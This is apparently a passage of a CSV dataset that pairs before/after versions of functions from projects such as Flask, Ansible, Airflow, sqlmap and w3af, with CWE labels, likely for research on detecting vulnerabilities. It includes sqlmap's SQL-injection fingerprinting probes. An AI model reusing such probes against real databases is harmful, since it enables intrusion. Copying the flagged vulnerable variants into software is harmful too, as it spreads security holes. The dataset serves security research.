            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_0"",
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_1"",
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_2"",
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""this_will_skip"",
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/ui/gui/entries.py,0,"def quit(self, widget, event):
        """"""Windows quit, saves the position and size.

        :param widget: who sent the signal.
        :param event: the event that happened
        """"""
        if self.onDestroy is not None:
            if not self.onDestroy():
                return True

        try:
            self.winconfig[self.id_size] = self.get_size()
            self.winconfig[self.id_position] = self.get_position()
        except ValueError:
            # https://github.com/andresriancho/w3af/issues/8890
            pass

        return False",,andresriancho/w3af,f8cdd4cbebf4439bd822cfcfd1084221fed349fc,"def quit(self, widget, event):
        """"""Windows quit, saves the position and size.

        :param widget: who sent the signal.
        :param event: the event that happened
        """"""
        if self.onDestroy is not None:
            if not self.onDestroy():
                return True

        try:
            self.winconfig[self.id_size] = self.get_size()
            self.winconfig[self.id_position] = self.get_position()
        except ValueError:
            pass

        return False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def setUp(self):
        if IOLoop.configured_class().__name__ == 'TwistedIOLoop':
            # TwistedIOLoop only supports the global reactor, so we can't have
            # separate IOLoops for client and server threads.
            raise unittest.SkipTest(
                'Sync HTTPClient not compatible with TwistedIOLoop')
        self.server_ioloop = IOLoop()

        sock, self.port = bind_unused_port()
        app = Application([('/', HelloWorldHandler)])
        self.server = HTTPServer(app, io_loop=self.server_ioloop)
        self.server.add_socket(sock)

        self.server_thread = threading.Thread(target=self.server_ioloop.start)
        self.server_thread.start()

        self.http_client = HTTPClient()",CWE-Unknown,tornadoweb/tornado,8bd3ef08805e680d4a42835d0e9a3a26594584c2,"def setUp(self):
        if IOLoop.configured_class().__name__ == 'TwistedIOLoop':
            # TwistedIOLoop only supports the global reactor, so we can't have
            # separate IOLoops for client and server threads.
            raise unittest.SkipTest(
                'Sync HTTPClient not compatible with TwistedIOLoop')
        self.server_ioloop = IOLoop()

        sock, self.port = bind_unused_port()
        app = Application([('/', HelloWorldHandler)])
        server = HTTPServer(app, io_loop=self.server_ioloop)
        server.add_socket(sock)

        self.server_thread = threading.Thread(target=self.server_ioloop.start)
        self.server_thread.start()

        self.http_client = HTTPClient()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/models.py,0,"def modelformset_factory(model, form=ModelForm, formfield_callback=None,
                         formset=BaseModelFormSet, extra=1, can_delete=False,
                         can_order=False, max_num=None, fields=None, exclude=None,
                         widgets=None, validate_max=False, localized_fields=None,
                         labels=None, help_texts=None, error_messages=None,
                         min_num=None, validate_min=False):
    """"""
    Returns a FormSet class for the given Django model class.
    """"""
    # modelform_factory will produce the same warning/error, but that will be
    # difficult to debug for code that needs upgrading, so we produce the
    # warning here too. This logic is reproducing logic inside
    # modelform_factory, but it can be removed once the deprecation cycle is
    # complete, since the validation exception will produce a helpful
    # stacktrace.
    meta = getattr(form, 'Meta', None)
    if meta is None:
        meta = type(str('Meta'), (object,), {})
    if (getattr(meta, 'fields', fields) is None and
            getattr(meta, 'exclude', exclude) is None):
        warnings.warn(""Calling modelformset_factory without defining 'fields' or ""
                      ""'exclude' explicitly is deprecated"",
                      RemovedInDjango18Warning, stacklevel=2)

    form = modelform_factory(model, form=form, fields=fields, exclude=exclude,
                             formfield_callback=formfield_callback,
                             widgets=widgets, localized_fields=localized_fields,
                             labels=labels, help_texts=help_texts, error_messages=error_messages)
    FormSet = formset_factory(form, formset, extra=extra, min_num=min_num, max_num=max_num,
                              can_order=can_order, can_delete=can_delete,
                              validate_min=validate_min, validate_max=validate_max)
    FormSet.model = model
    return FormSet",CWE-Unknown,django/django,2914f66983a92fcae55673c517dd8d01e8c238c4,"def modelformset_factory(model, form=ModelForm, formfield_callback=None,
                         formset=BaseModelFormSet, extra=1, can_delete=False,
                         can_order=False, max_num=None, fields=None, exclude=None,
                         widgets=None, validate_max=False, localized_fields=None,
                         labels=None, help_texts=None, error_messages=None):
    """"""
    Returns a FormSet class for the given Django model class.
    """"""
    # modelform_factory will produce the same warning/error, but that will be
    # difficult to debug for code that needs upgrading, so we produce the
    # warning here too. This logic is reproducing logic inside
    # modelform_factory, but it can be removed once the deprecation cycle is
    # complete, since the validation exception will produce a helpful
    # stacktrace.
    meta = getattr(form, 'Meta', None)
    if meta is None:
        meta = type(str('Meta'), (object,), {})
    if (getattr(meta, 'fields', fields) is None and
            getattr(meta, 'exclude', exclude) is None):
        warnings.warn(""Calling modelformset_factory without defining 'fields' or ""
                      ""'exclude' explicitly is deprecated"",
                      RemovedInDjango18Warning, stacklevel=2)

    form = modelform_factory(model, form=form, fields=fields, exclude=exclude,
                             formfield_callback=formfield_callback,
                             widgets=widgets, localized_fields=localized_fields,
                             labels=labels, help_texts=help_texts, error_messages=error_messages)
    FormSet = formset_factory(form, formset, extra=extra, max_num=max_num,
                              can_order=can_order, can_delete=can_delete,
                              validate_max=validate_max)
    FormSet.model = model
    return FormSet"
,UNKNOWN,UNKNOWN,src/flask/app.py,1,"def run(
        self,
        host: t.Optional[str] = None,
        port: t.Optional[int] = None,
        debug: t.Optional[bool] = None,
        load_dotenv: bool = True,
        **options: t.Any,
    ) -> None:
        """"""Runs the application on a local development server.

        Do not use ``run()`` in a production setting. It is not intended to
        meet security and performance requirements for a production server.
        Instead, see :doc:`/deploying/index` for WSGI server recommendations.

        If the :attr:`debug` flag is set the server will automatically reload
        for code changes and show a debugger in case an exception happened.

        If you want to run the application in debug mode, but disable the
        code execution on the interactive debugger, you can pass
        ``use_evalex=False`` as parameter.  This will keep the debugger's
        traceback screen active, but disable code execution.

        It is not recommended to use this function for development with
        automatic reloading as this is badly supported.  Instead you should
        be using the :command:`flask` command line script's ``run`` support.

        .. admonition:: Keep in Mind

           Flask will suppress any server error with a generic error page
           unless it is in debug mode.  As such to enable just the
           interactive debugger without the code reloading, you have to
           invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``.
           Setting ``use_debugger`` to ``True`` without being in debug mode
           won't catch any exceptions because there won't be any to
           catch.

        :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to
            have the server available externally as well. Defaults to
            ``'127.0.0.1'`` or the host in the ``SERVER_NAME`` config variable
            if present.
        :param port: the port of the webserver. Defaults to ``5000`` or the
            port defined in the ``SERVER_NAME`` config variable if present.
        :param debug: if given, enable or disable debug mode. See
            :attr:`debug`.
        :param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
            files to set environment variables. Will also change the working
            directory to the directory containing the first file found.
        :param options: the options to be forwarded to the underlying Werkzeug
            server. See :func:`werkzeug.serving.run_simple` for more
            information.

        .. versionchanged:: 1.0
            If installed, python-dotenv will be used to load environment
            variables from :file:`.env` and :file:`.flaskenv` files.

            If set, the :envvar:`FLASK_ENV` and :envvar:`FLASK_DEBUG`
            environment variables will override :attr:`env` and
            :attr:`debug`.

            Threaded mode is enabled by default.

        .. versionchanged:: 0.10
            The default port is now picked from the ``SERVER_NAME``
            variable.
        """"""
        # Ignore this call so that it doesn't start another server if
        # the 'flask run' command is used.
        if os.environ.get(""FLASK_RUN_FROM_CLI"") == ""true"":
            if not is_running_from_reloader():
                click.secho(
                    "" * Ignoring a call to 'app.run()' that would block""
                    "" the current 'flask' CLI command.\n""
                    ""   Only call 'app.run()' in an 'if __name__ ==""
                    ' ""__main__""\' guard.',
                    fg=""red"",
                )

            return

        if get_load_dotenv(load_dotenv):
            cli.load_dotenv()

            # if set, let env vars override previous values
            if ""FLASK_ENV"" in os.environ:
                self.env = get_env()
                self.debug = get_debug_flag()
            elif ""FLASK_DEBUG"" in os.environ:
                self.debug = get_debug_flag()

        # debug passed to method overrides all other sources
        if debug is not None:
            self.debug = bool(debug)

        server_name = self.config.get(""SERVER_NAME"")
        sn_host = sn_port = None

        if server_name:
            sn_host, _, sn_port = server_name.partition("":"")

        if not host:
            if sn_host:
                host = sn_host
            else:
                host = ""127.0.0.1""

        if port or port == 0:
            port = int(port)
        elif sn_port:
            port = int(sn_port)
        else:
            port = 5000

        options.setdefault(""use_reloader"", self.debug)
        options.setdefault(""use_debugger"", self.debug)
        options.setdefault(""threaded"", True)

        cli.show_server_banner(self.env, self.debug, self.name)

        from werkzeug.serving import run_simple

        try:
            run_simple(t.cast(str, host), port, self, **options)
        finally:
            # reset the first request information if the development server
            # reset normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False",CWE-605,pallets/flask,5d8e35653fca0d7ee01519d556c7851089de82ea,"def run(
        self,
        host: t.Optional[str] = None,
        port: t.Optional[int] = None,
        debug: t.Optional[bool] = None,
        load_dotenv: bool = True,
        **options: t.Any,
    ) -> None:
        """"""Runs the application on a local development server.

        Do not use ``run()`` in a production setting. It is not intended to
        meet security and performance requirements for a production server.
        Instead, see :doc:`/deploying/index` for WSGI server recommendations.

        If the :attr:`debug` flag is set the server will automatically reload
        for code changes and show a debugger in case an exception happened.

        If you want to run the application in debug mode, but disable the
        code execution on the interactive debugger, you can pass
        ``use_evalex=False`` as parameter.  This will keep the debugger's
        traceback screen active, but disable code execution.

        It is not recommended to use this function for development with
        automatic reloading as this is badly supported.  Instead you should
        be using the :command:`flask` command line script's ``run`` support.

        .. admonition:: Keep in Mind

           Flask will suppress any server error with a generic error page
           unless it is in debug mode.  As such to enable just the
           interactive debugger without the code reloading, you have to
           invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``.
           Setting ``use_debugger`` to ``True`` without being in debug mode
           won't catch any exceptions because there won't be any to
           catch.

        :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to
            have the server available externally as well. Defaults to
            ``'127.0.0.1'`` or the host in the ``SERVER_NAME`` config variable
            if present.
        :param port: the port of the webserver. Defaults to ``5000`` or the
            port defined in the ``SERVER_NAME`` config variable if present.
        :param debug: if given, enable or disable debug mode. See
            :attr:`debug`.
        :param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
            files to set environment variables. Will also change the working
            directory to the directory containing the first file found.
        :param options: the options to be forwarded to the underlying Werkzeug
            server. See :func:`werkzeug.serving.run_simple` for more
            information.

        .. versionchanged:: 1.0
            If installed, python-dotenv will be used to load environment
            variables from :file:`.env` and :file:`.flaskenv` files.

            If set, the :envvar:`FLASK_ENV` and :envvar:`FLASK_DEBUG`
            environment variables will override :attr:`env` and
            :attr:`debug`.

            Threaded mode is enabled by default.

        .. versionchanged:: 0.10
            The default port is now picked from the ``SERVER_NAME``
            variable.
        """"""
        # Ignore this call so that it doesn't start another server if
        # the 'flask run' command is used.
        if os.environ.get(""FLASK_RUN_FROM_CLI"") == ""true"":
            if not is_running_from_reloader():
                click.secho(
                    "" * Ignoring a call to 'app.run()' that would block""
                    "" the current 'flask' CLI command.\n""
                    ""   Only call 'app.run()' in an 'if __name__ ==""
                    ' ""__main__""\' guard.',
                    fg=""red"",
                )

            return

        if get_load_dotenv(load_dotenv):
            cli.load_dotenv()

            # if set, let env vars override previous values
            if ""FLASK_ENV"" in os.environ:
                self.env = get_env()
                self.debug = get_debug_flag()
            elif ""FLASK_DEBUG"" in os.environ:
                self.debug = get_debug_flag()

        # debug passed to method overrides all other sources
        if debug is not None:
            self.debug = bool(debug)

        server_name = self.config.get(""SERVER_NAME"")
        sn_host = sn_port = None

        if server_name:
            sn_host, _, sn_port = server_name.partition("":"")

        if not host:
            if sn_host:
                host = sn_host
            else:
                host = ""127.0.0.1""

        if port or port == 0:
            port = int(port)
        elif sn_port:
            port = int(sn_port)
        else:
            port = 5000

        options.setdefault(""use_reloader"", self.debug)
        options.setdefault(""use_debugger"", self.debug)
        options.setdefault(""threaded"", True)

        cli.show_server_banner(self.env, self.debug, self.name, False)

        from werkzeug.serving import run_simple

        try:
            run_simple(t.cast(str, host), port, self, **options)
        finally:
            # reset the first request information if the development server
            # reset normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/chrome/crawler/strategies/js.py,0,"def _conditional_wait_for_load(self):
        """"""
        This method handles the following case:

            * Dispatched event forces browser to navigate to URL A
            * URL A was never seen before
            * We want to wait for the browser to load it in order to
              gain as much information as possible from the HTTP requests
              it generates

            ... many other actions ...

            * Dispatched event forces browser to navigate to URL A
            * URL A was seen before
            * Don't wait for the page to load, we already gathered this
              information before

        :return: None
        """"""
        potentially_new_url = self._chrome.get_url()

        if potentially_new_url is None:
            return

        if potentially_new_url in self._visited_urls:
            # If the event navigated the browser to a page which was already
            # visited in the past, don't wait for the page to load
            return

        if potentially_new_url.get_root_domain() != self._url.get_root_domain():
            # If the event navigated the browser to a different domain,
            # don't wait for the page to load
            return

        self._visited_urls.add(potentially_new_url)
        self._chrome.wait_for_load(timeout=self.WAIT_FOR_LOAD_TIMEOUT)",,andresriancho/w3af,f9df0895840625f4fc9c4c1b34ebc8f6f5b14163,"def _conditional_wait_for_load(self):
        """"""
        This method handles the following case:

            * Dispatched event forces browser to navigate to URL A
            * URL A was never seen before
            * We want to wait for the browser to load it in order to
              gain as much information as possible from the HTTP requests
              it generates

            ... many other actions ...

            * Dispatched event forces browser to navigate to URL A
            * URL A was seen before
            * Don't wait for the page to load, we already gathered this
              information before

        :return: None
        """"""
        potentially_new_url = self._chrome.get_url()

        if potentially_new_url in self._visited_urls:
            # If the event navigated the browser to a page which was already
            # visited in the past, don't wait for the page to load
            return

        if potentially_new_url.get_root_domain() != self._url.get_root_domain():
            # If the event navigated the browser to a different domain,
            # don't wait for the page to load
            return

        self._visited_urls.add(potentially_new_url)
        self._chrome.wait_for_load(timeout=self.WAIT_FOR_LOAD_TIMEOUT)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/yum_repository.py,0,"def main():
    # Module settings
    argument_spec = dict(
        bandwidth=dict(),
        baseurl=dict(type='list', elements='str'),
        cost=dict(),
        deltarpm_metadata_percentage=dict(),
        deltarpm_percentage=dict(),
        description=dict(),
        enabled=dict(type='bool'),
        enablegroups=dict(type='bool'),
        exclude=dict(type='list', elements='str'),
        failovermethod=dict(choices=['roundrobin', 'priority']),
        file=dict(),
        gpgcakey=dict(no_log=False),
        gpgcheck=dict(type='bool'),
        gpgkey=dict(type='list', elements='str', no_log=False),
        module_hotfixes=dict(type='bool'),
        http_caching=dict(choices=['all', 'packages', 'none']),
        include=dict(),
        includepkgs=dict(type='list', elements='str'),
        ip_resolve=dict(choices=['4', '6', 'IPv4', 'IPv6', 'whatever']),
        keepalive=dict(type='bool'),
        keepcache=dict(choices=['0', '1']),
        metadata_expire=dict(),
        metadata_expire_filter=dict(
            choices=[
                'never',
                'read-only:past',
                'read-only:present',
                'read-only:future']),
        metalink=dict(),
        mirrorlist=dict(),
        mirrorlist_expire=dict(),
        name=dict(required=True),
        params=dict(type='dict'),
        password=dict(no_log=True),
        priority=dict(),
        protect=dict(type='bool'),
        proxy=dict(),
        proxy_password=dict(no_log=True),
        proxy_username=dict(),
        repo_gpgcheck=dict(type='bool'),
        reposdir=dict(default='/etc/yum.repos.d', type='path'),
        retries=dict(),
        s3_enabled=dict(type='bool'),
        skip_if_unavailable=dict(type='bool'),
        sslcacert=dict(aliases=['ca_cert']),
        ssl_check_cert_permissions=dict(type='bool'),
        sslclientcert=dict(aliases=['client_cert']),
        sslclientkey=dict(aliases=['client_key'], no_log=False),
        sslverify=dict(type='bool', aliases=['validate_certs']),
        state=dict(choices=['present', 'absent'], default='present'),
        throttle=dict(),
        timeout=dict(),
        ui_repoid_vars=dict(),
        username=dict(),
    )

    argument_spec['async'] = dict(type='bool', default=True)

    module = AnsibleModule(
        argument_spec=argument_spec,
        add_file_common_args=True,
        supports_check_mode=True,
    )

    # Params was removed
    # https://meetbot.fedoraproject.org/ansible-meeting/2017-09-28/ansible_dev_meeting.2017-09-28-15.00.log.html
    if module.params['params']:
        module.fail_json(msg=""The params option to yum_repository was removed in Ansible 2.5 since it circumvents Ansible's option handling"")

    name = module.params['name']
    state = module.params['state']

    # Check if required parameters are present
    if state == 'present':
        if (
                module.params['baseurl'] is None and
                module.params['metalink'] is None and
                module.params['mirrorlist'] is None):
            module.fail_json(
                msg=""Parameter 'baseurl', 'metalink' or 'mirrorlist' is required."")
        if module.params['description'] is None:
            module.fail_json(
                msg=""Parameter 'description' is required."")

    # Rename ""name"" and ""description"" to ensure correct key sorting
    module.params['repoid'] = module.params['name']
    module.params['name'] = module.params['description']
    del module.params['description']

    # Change list type to string for baseurl and gpgkey
    for list_param in ['baseurl', 'gpgkey']:
        if (
                list_param in module.params and
                module.params[list_param] is not None):
            module.params[list_param] = ""\n"".join(module.params[list_param])

    # Define repo file name if it doesn't exist
    if module.params['file'] is None:
        module.params['file'] = module.params['repoid']

    # Instantiate the YumRepo object
    yumrepo = YumRepo(module)

    # Get repo status before change
    diff = {
        'before_header': yumrepo.params['dest'],
        'before': yumrepo.dump(),
        'after_header': yumrepo.params['dest'],
        'after': ''
    }

    # Perform action depending on the state
    if state == 'present':
        yumrepo.add()
    elif state == 'absent':
        yumrepo.remove()

    # Get repo status after change
    diff['after'] = yumrepo.dump()

    # Compare repo states
    changed = diff['before'] != diff['after']

    # Save the file only if not in check mode and if there was a change
    if not module.check_mode and changed:
        yumrepo.save()

    # Change file attributes if needed
    if os.path.isfile(module.params['dest']):
        file_args = module.load_file_common_arguments(module.params)
        changed = module.set_fs_attributes_if_different(file_args, changed)

    # Print status of the change
    module.exit_json(changed=changed, repo=name, state=state, diff=diff)",,ansible/ansible,7c0af58449666b9d5cc2ec0d2916d89c45fc02d7,"def main():
    # Module settings
    argument_spec = dict(
        bandwidth=dict(),
        baseurl=dict(type='list', elements='str'),
        cost=dict(),
        deltarpm_metadata_percentage=dict(),
        deltarpm_percentage=dict(),
        description=dict(),
        enabled=dict(type='bool'),
        enablegroups=dict(type='bool'),
        exclude=dict(type='list', elements='str'),
        failovermethod=dict(choices=['roundrobin', 'priority']),
        file=dict(),
        gpgcakey=dict(),
        gpgcheck=dict(type='bool'),
        gpgkey=dict(type='list', elements='str'),
        module_hotfixes=dict(type='bool'),
        http_caching=dict(choices=['all', 'packages', 'none']),
        include=dict(),
        includepkgs=dict(type='list', elements='str'),
        ip_resolve=dict(choices=['4', '6', 'IPv4', 'IPv6', 'whatever']),
        keepalive=dict(type='bool'),
        keepcache=dict(choices=['0', '1']),
        metadata_expire=dict(),
        metadata_expire_filter=dict(
            choices=[
                'never',
                'read-only:past',
                'read-only:present',
                'read-only:future']),
        metalink=dict(),
        mirrorlist=dict(),
        mirrorlist_expire=dict(),
        name=dict(required=True),
        params=dict(type='dict'),
        password=dict(no_log=True),
        priority=dict(),
        protect=dict(type='bool'),
        proxy=dict(),
        proxy_password=dict(no_log=True),
        proxy_username=dict(),
        repo_gpgcheck=dict(type='bool'),
        reposdir=dict(default='/etc/yum.repos.d', type='path'),
        retries=dict(),
        s3_enabled=dict(type='bool'),
        skip_if_unavailable=dict(type='bool'),
        sslcacert=dict(aliases=['ca_cert']),
        ssl_check_cert_permissions=dict(type='bool'),
        sslclientcert=dict(aliases=['client_cert']),
        sslclientkey=dict(aliases=['client_key']),
        sslverify=dict(type='bool', aliases=['validate_certs']),
        state=dict(choices=['present', 'absent'], default='present'),
        throttle=dict(),
        timeout=dict(),
        ui_repoid_vars=dict(),
        username=dict(),
    )

    argument_spec['async'] = dict(type='bool', default=True)

    module = AnsibleModule(
        argument_spec=argument_spec,
        add_file_common_args=True,
        supports_check_mode=True,
    )

    # Params was removed
    # https://meetbot.fedoraproject.org/ansible-meeting/2017-09-28/ansible_dev_meeting.2017-09-28-15.00.log.html
    if module.params['params']:
        module.fail_json(msg=""The params option to yum_repository was removed in Ansible 2.5 since it circumvents Ansible's option handling"")

    name = module.params['name']
    state = module.params['state']

    # Check if required parameters are present
    if state == 'present':
        if (
                module.params['baseurl'] is None and
                module.params['metalink'] is None and
                module.params['mirrorlist'] is None):
            module.fail_json(
                msg=""Parameter 'baseurl', 'metalink' or 'mirrorlist' is required."")
        if module.params['description'] is None:
            module.fail_json(
                msg=""Parameter 'description' is required."")

    # Rename ""name"" and ""description"" to ensure correct key sorting
    module.params['repoid'] = module.params['name']
    module.params['name'] = module.params['description']
    del module.params['description']

    # Change list type to string for baseurl and gpgkey
    for list_param in ['baseurl', 'gpgkey']:
        if (
                list_param in module.params and
                module.params[list_param] is not None):
            module.params[list_param] = ""\n"".join(module.params[list_param])

    # Define repo file name if it doesn't exist
    if module.params['file'] is None:
        module.params['file'] = module.params['repoid']

    # Instantiate the YumRepo object
    yumrepo = YumRepo(module)

    # Get repo status before change
    diff = {
        'before_header': yumrepo.params['dest'],
        'before': yumrepo.dump(),
        'after_header': yumrepo.params['dest'],
        'after': ''
    }

    # Perform action depending on the state
    if state == 'present':
        yumrepo.add()
    elif state == 'absent':
        yumrepo.remove()

    # Get repo status after change
    diff['after'] = yumrepo.dump()

    # Compare repo states
    changed = diff['before'] != diff['after']

    # Save the file only if not in check mode and if there was a change
    if not module.check_mode and changed:
        yumrepo.save()

    # Change file attributes if needed
    if os.path.isfile(module.params['dest']):
        file_args = module.load_file_common_arguments(module.params)
        changed = module.set_fs_attributes_if_different(file_args, changed)

    # Print status of the change
    module.exit_json(changed=changed, repo=name, state=state, diff=diff)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/fab/src/airflow/providers/fab/auth_manager/fab_auth_manager.py,0,"def _get_user_permissions(user: User):
        """"""
        Return the user permissions.

        :param user: the user to get permissions for

        :meta private:
        """"""
        # If the user gets deleted while being logged in
        if not user:
            return []
        return getattr(user, ""perms"") or []",CWE-Unknown,apache/airflow,a32193503c6ad0a673eca7576b4725d93041f3ac,"def _get_user_permissions(user: User):
        """"""
        Return the user permissions.

        :param user: the user to get permissions for

        :meta private:
        """"""
        return getattr(user, ""perms"") or []"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/sybase/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES):
            setDbms(""%s %s"" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = ""testing %s"" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""@@transtate=@@transtate"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""suser_id()=suser_id()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.SYBASE
                logger.warning(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.SYBASE
            logger.info(infoMsg)

            result = unArrayizeValue(inject.getValue(""SUBSTRING(@@VERSION,1,1)""))

            if result and result.isdigit():
                Backend.setVersion(str(result))
            else:
                for version in xrange(12, 16):
                    result = inject.checkBooleanExpression(""PATINDEX('%%/%d[./]%%',@@VERSION)>0"" % version)

                    if result:
                        Backend.setVersion(str(version))
                        break

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.SYBASE
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES):
            setDbms(""%s %s"" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = ""testing %s"" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""@@transtate=@@transtate"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""suser_id()=suser_id()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.SYBASE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.SYBASE
            logger.info(infoMsg)

            result = unArrayizeValue(inject.getValue(""SUBSTRING(@@VERSION,1,1)""))

            if result and result.isdigit():
                Backend.setVersion(str(result))
            else:
                for version in xrange(12, 16):
                    result = inject.checkBooleanExpression(""PATINDEX('%%/%d[./]%%',@@VERSION)>0"" % version)

                    if result:
                        Backend.setVersion(str(version))
                        break

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.SYBASE
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,tests/pytests/unit/test_minion.py,1,"def test_gen_modules_executors(minion_opts):
    """"""
    Ensure gen_modules is called with the correct arguments #54429
    """"""
    io_loop = tornado.ioloop.IOLoop()
    minion = salt.minion.Minion(minion_opts, io_loop=io_loop)

    class MockPillarCompiler:
        def compile_pillar(self):
            return {}

    try:
        with patch(""salt.pillar.get_pillar"", return_value=MockPillarCompiler()):
            with patch(""salt.loader.executors"") as execmock:
                minion.gen_modules()
        execmock.assert_called_with(
            minion.opts, functions=minion.functions, proxy=minion.proxy, context={}
        )
    finally:
        minion.destroy()",CWE-703,saltstack/salt,9d72e7a677554dc89971cb8c80473a021684f2a0,"def test_gen_modules_executors(minion_opts):
    """"""
    Ensure gen_modules is called with the correct arguments #54429
    """"""
    io_loop = tornado.ioloop.IOLoop()
    minion = salt.minion.Minion(minion_opts, io_loop=io_loop)

    class MockPillarCompiler:
        def compile_pillar(self):
            return {}

    try:
        with patch(""salt.pillar.get_pillar"", return_value=MockPillarCompiler()):
            with patch(""salt.loader.executors"") as execmock:
                minion.gen_modules()
        assert execmock.called_with(minion.opts, minion.functions)
    finally:
        minion.destroy()"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/representer.py,0,"def represent_object(self, data):
        # We use __reduce__ API to save the data. data.__reduce__ returns
        # a tuple of length 2-5:
        #   (function, args, state, listitems, dictitems)

        # For reconstructing, we calls function(*args), then set its state,
        # listitems, and dictitems if they are not None.

        # A special case is when function.__name__ == '__newobj__'. In this
        # case we create the object with args[0].__new__(*args).

        # Another special case is when __reduce__ returns a string - we don't
        # support it.

        # We produce a !!python/object, !!python/object/new or
        # !!python/object/apply node.

        cls = type(data)
        if cls in copy_reg.dispatch_table:
            reduce = copy_reg.dispatch_table[cls](data)
        elif hasattr(data, '__reduce_ex__'):
